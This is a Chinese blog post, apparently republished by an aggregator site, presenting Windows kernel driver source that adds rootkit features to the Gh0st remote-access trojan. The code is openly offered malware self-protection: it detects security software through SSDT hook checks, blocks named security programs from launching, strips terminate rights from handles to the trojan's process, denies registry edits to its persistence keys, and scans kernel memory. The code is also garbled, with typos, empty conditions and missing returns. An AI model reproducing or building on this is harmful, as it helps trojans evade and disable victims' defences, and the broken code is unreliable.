为GHOST木马添加ROOTKIT功能
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了为GHOST木马添加ROOTKIT功能相关的知识,希望对你有一定的参考价值。
GHOST远控是比较有名也比较老的一个远控程序了,原版的ghost远控似乎有一个SSDT HOOK功能的模块,当然已经没有什么用处了。这里在GHOST的基础上添加一些ROOTKIT功能,而且随着x64下PG的发展,这里不打算使用传统的HOOK技术,而是用系统回调机制来实现一些功能,其实这些回调机制也已经是ARK的重点关照对象了,这里主要是做练习实用性不是很高。
1 //驱动模块 2 #include "winddk.h" 3 #include "windows.h" 4 #include <ntifs.h> 5 #include <windef.h> 6 //一些方便记忆的宏 7 #define QUERY_SUCCESS 1 //没有被HOOK 8 #define QUERY_FAIL 0 //已有HOOK 9 #define QUERY_ERROR -1 //出错 10 PVOID pBuffer = 0; 11 12 NTSTATUS DriverEntry(PDRIVER_OBJECT MyDriver, 13 PUNICODE_STRING RegPath) 14 { 15 MyDriver->DriverUnload = UnloadFunc; 16 17 } 18 NTSTATUS UnloadFunc(PDRIVER_OBJECT MyDriver) 19 { 20 //不要忘记卸载必要资源,以免蓝屏 21 } 22 23 24 25 ////////////////////////////// 26 //检测SSDT是否已被挂钩。如果已被挂钩说明有安全类软件存在。 27 //声明结构 28 typedef struct ServiceDescriptorEntry { 29 unsigned int *ServiceTableBase; 30 unsigned int *ServiceCounterTableBase; 31 unsigned int NumberOfServices; 32 unsigned char *ParamTableBase; 33 } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; 34 35 NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( 36 IN ULONG SystemInformationClass, 37 IN OUT PVOID SystemInformation, 38 IN ULONG SystemInformationLength, 39 OUT PULONG ReturnLength); 40 // 导入结构地址 41 __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; 42 DWORD QuerySSDTHook(DWORD *IdNumbers) 43 { 44 DWORD SSDT_ID = 0,Numbers=0; 45 DWORD FuncAdress = 0; 46 DWORD NtHighAdress = 0; 47 DWORD NtLowAdress = 0; 48 memset(IdNumbers, 0, sizeof(IdNumbers)); 49 pBuffer = ExAllocatePoolWithTag(PagedPool, 50 0x10000, 51 "Tag1"); 52 if (!NT_SUCCESS(pBuffer)) 53 { 54 return QUERY_ERROR; 55 } 56 NTSTATUS Status=ZwQuerySystemInformation(SystemModuleInformation, 57 pBuffer, 58 0x10000, 59 NULL); 60 if (!NT_SUCCESS(Status)) 61 { 62 return QUERY_ERROR; 63 } 64 NtHighAdress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Base; 65 NtLowAdress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Size + NtHighAdress; 66 for (;;) 67 { 68 FuncAdress=(DWORD)KeServiceDescriptorTable.ServiceTableBase[SSDT_ID]; 69 if (!FuncAdress) 70 { 71 break; 72 } 73 if (FuncAdress>NtHighAdress||FuncAdress<NtLowAdress) 74 { 75 IdNumbers[Numbers] = SSDT_ID; 76 Numbers++; 77 } 78 SSDT_ID++; 79 } 80 return Numbers == 0 ? QUERY_SUCCESS : QUERY_FAIL; 81 82 } 83 VOID FreeQuerySSDTHook(void) 84 { 85 ExFreePoolWithTag(pBuffer, "Tag1"); 86 } 87 88 89 /////////////////////////////////////////////////////// 90 //自我保护功能 91 //1.设置进程事件通知,检测安全软件运行 92 //2.注册进程对象回调,检查对本进程对象的操作 93 //3.设置关机回调检测自启动设置 94 //4.设置注册表事件通知,保护我的设置值 95 NTKERNELAPI PCHAR PsGetProcessImageFileName(PEPROCESS Process); 96 NTSTATUS SelfProtection() 97 { 98 NTSTATUS obst1=0; 99 LARGE_INTEGER CallbackCookie = { 0 }; 100 OB_CALLBACK_REGISTRATION obReg; 101 OB_OPERATION_REGISTRATION opReg; 102 memset(&obReg, 0, sizeof(obReg)); 103 obReg.Version = ObGetFilterVersion(); 104 obReg.OperationContext = NULL; 105 obReg.RegistrationContext = NULL; 106 RtlInitUnicodeString(&obReg.Altitude, L"321124"); 107 obReg.OperationRegistration = &opReg; 108 memset(&opReg, 0, sizeof(&opReg)); 109 opReg.ObjectType = PsProcessType; 110 opReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERAION_HANDLE_DUPLICATE; 111 opReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)&ProccessProtectCallBack; 112 //保护自身进程对象不被打开 113 obst1 = ObRegisterCallbacks(&obReg, &obHandle); 114 //阻止安全软件运行 115 PsSetCreateProcessNotifyRoutineEx( 116 (PCREATE_PROCESS_NOTIFY_ROUTINE_EX)MyProcessNotifyRoutine, 117 FALSE); 118 //保护注册表 119 CmRegisterCallback(MyRegCallback, 120 NULL, 121 &CallbackCookie); 122 } 123 VOID MyProcessNotifyRoutine(PEPROCESS Process, 124 HANDLE ProcessID, 125 PPS_CREATE_NOTIFY_INFO ProcessInfo 126 ) 127 { 128 char *EnemyName[20] = {0}; 129 char NameBuffer[20] = ""; 130 BOOL YesOrNo = 0; 131 strcpy(NameBuffer, PsGetProcessImageFileName(Process)); 132 if (ProcessInfo==NULL) 133 { 134 return; 135 } 136 for (int i=0;;i++) 137 { 138 if (EnemyName[i]==0) 139 { 140 break; 141 } 142 if (!stricmp(NameBuffer,EenmyName[i])) 143 { 144 YesOrNo = 1; 145 } 146 } 147 if (!YesOrNo) 148 { 149 //不是敏感进程,直接结束回调函数 150 return; 151 } 152 ProcessInfo->CreationStatus = STATUS_UNSUCCESSFUL; 153 return; 154 } 155 BOOL IsProtectedProcessName(PEPROCESS MyEprocess) 156 { 157 if (!stricmp("MyProcessName",PsGetProcessImageFileName(MyEprocess))) 158 { 159 return 0; 160 } 161 return 1; 162 } 163 164 OB_PREOP_CALLBACK_STATUS ProcessProtectCallBack(PVOID RegContext, 165 POB_PRE_OPERATION_INFORMATION pOperationInformation) 166 { 167 if (p0perationInformation->ObjectType!=*PsProcessType) 168 { 169 return OB_PREOP_SUCCESS; 170 } 171 if (IsProtectedProcessName((PEPROCESS)pOperationInformation->Object)) 172 { 173 if (pOperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) 174 { 175 if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess& 176 PROCESS_TERMINATE)==PROCESS_TERMINATE) 177 { 178 pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE; 179 } 180 } 181 if (pOperationInformation->Operation == OB_OPERATION_HANDLE_DUPLICATE) 182 { 183 if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess& 184 PROCESS_TERMINATE) == PROCESS_TERMINATE) 185 { 186 pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE; 187 } 188 } 189 } 190 return OB_PREOP_SUCCESS; 191 } 192 193 BOOL ObejctToRegName(OUT PUNICODE_STRING RegPath, 194 IN PVOID RegObject) 195 { 196 NTSTATUS Status1 = 0; 197 PUNICODE_STRING TempRegPath = 0; 198 ULONG Length = 0; 199 if (!RegPath) 200 { 201 return FALSE; 202 } 203 if (!MmIsAdressValid(RegObject)||(RegObject==NULL)) 204 { 205 return FALSE; 206 } 207 Status1 = ObQueryNameString(RegObject, (POBJECT_NAME_INFORMATION)TempRegPath, 0, OUT &Length); 208 if (Status1==STATUS_INFO_LENGTH_MISMATCH) 209 { 210 TempRegPath = ExAllocatePoolWithTag(NonPagedPool, Length, TAG2); 211 Status1 = ObQueryNameString(RegObject, (POBJECT_NAME_INFORMATION)TempRegPath, Length, &Length); 212 if (NT_SUCCESS(Status1)) 213 { 214 RtlCopyUnicodeString(RegPath, TempRegPath); 215 ExFreePoolWithTag(TempRegName, TAG2); 216 return TRUE; 217 } 218 } 219 return FALSE; 220 } 221 222 NTSTATUS MyRegCallback(PVOID CallbackContext, 223 PVOID atg1, 224 PVOID arg2) 225 { 226 char *ProcessName = 0; 227 LONG Type = 0; 228 Type = (REG_NOTIFY_CLASS)arg1; 229 UNICODE_STRING RegPath = { 0 }; 230 RegPath.MaximumLength = 2048 * sizeof(WCHAR); 231 RegPath.Buffer = ExAllocatePoolWithTag(NonPagedPool, 2048 * sizeof(WCHAR), TAG1); 232 if (!RegPath.Buffer) 233 { 234 return STATUS_SUCCESS; 235 } 236 switch (Type) 237 { 238 case RegNtPreDeleteKey: 239 { 240 ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess()); 241 ObejctToRegName(&RegPath, ((PREG_DELETE_KEY_INFORMATION)arg2)->Object); 242 if (/*此处放置要保护的键*/) 243 { 244 ExFreePoolWithTag(RegPath.Buffer,TAG1); 245 return STATUS_ACCESS_DENIED; 246 } 247 ExFreePoolWithTag(RegPath.Buffer, TAG1); 248 return STATUS_SUCCESS; 249 } 250 case RegNtPreSetValueKey: 251 ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess()); 252 ObejctToRegName(&RegPath, ((PREG_SET_VALUE_KEY_INFORMATION)arg2)->Object); 253 if (/*TIAOJIAN*/) 254 { 255 ExFreePoolWithTag(RegPath.Buffer, TAG1); 256 return STATUS_ACCESS_DENIED; 257 } 258 ExFreePoolWithTag(RegPath.Buffer, TAG1); 259 return STATUS_SUCCESS; 260 case RegNtPreDeleteValueKey: 261 ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess()); 262 ObejctToRegName(&RegPath, ((PREG_DELETE_VALUE_KEY_INFORMATION)arg2)->Object); 263 if (TIAOJIAN) 264 { 265 ExFreePoolWithTag(RegPath.Buffer, TAG1); 266 return STATUS_ACCESS_DENIED; 267 } 268 ExFreePoolWithTag(RegPath.Buffer, TAG1); 269 return STATUS_SUCCESS; 270 default: 271 ExFreePoolWithTag(RegPath.Buffer, TAG1); 272 return STATUS_SUCCESS; 273 } 274 } 275 276 277 278 279 /////////////////////////////////////////////////////////////////// 280 //搜索函数,在内核中搜索指定序列,需指定5个字节 281 NTSTATUS FindFuncInTheKernel(IN BYTE *FindBytes, OUT PVOID *Address) 282 { 283 NTSTATUS Status = 0; 284 DWORD NtHighAddress = 0; 285 DWORD NtLowAddress = 0; 286 PVOID pBuffer = 0; 287 if (sizeof(FindBytes)!=5) 288 { 289 return 0XFFFFFFFF; 290 } 291 pBuffer = ExAllocatePoolWithTag(PagedPool, 292 0x10000, 293 Tag3); 294 memset(pBuffer, 0, 0x10000); 295 Status = ZwQuerySystemInformation(SystemModuleInformation, 296 pBuffer, 297 0x10000, 298 NULL); 299 if (!NT_SUCCESS(Status)) 300 { 301 return QUERY_ERROR; 302 } 303 NtHighAddress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Base; 304 NtLowAddress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Size + NtHighAdress; 305 for (DWORD i = NtLowAddress; i < NtHighAddress; i++) 306 { 307 BYTE *TempPointer = (PBYTE)i; 308 if (i[0] == FindBytes[0] && 309 i[1] == FindBytes[1] && 310 i[2] == FindBytes[2] && 311 i[3] == FindBytes[3] && 312 i[4] == FindBytes[4]) 313 { 314 *Address = (PVOID)i; 315 ExFreePoolWithTag(pBuffer, Tag3); 316 ///return 成功 317 } 318 } 319 ExFreePoolWithTag(pBuffer, Tag3); 320 //return 失败 321 }
以上是关于为GHOST木马添加ROOTKIT功能的主要内容,如果未能解决你的问题,请参考以下文章
安全运维之:Linux后门入侵检测工具,附最新bash漏洞解决方法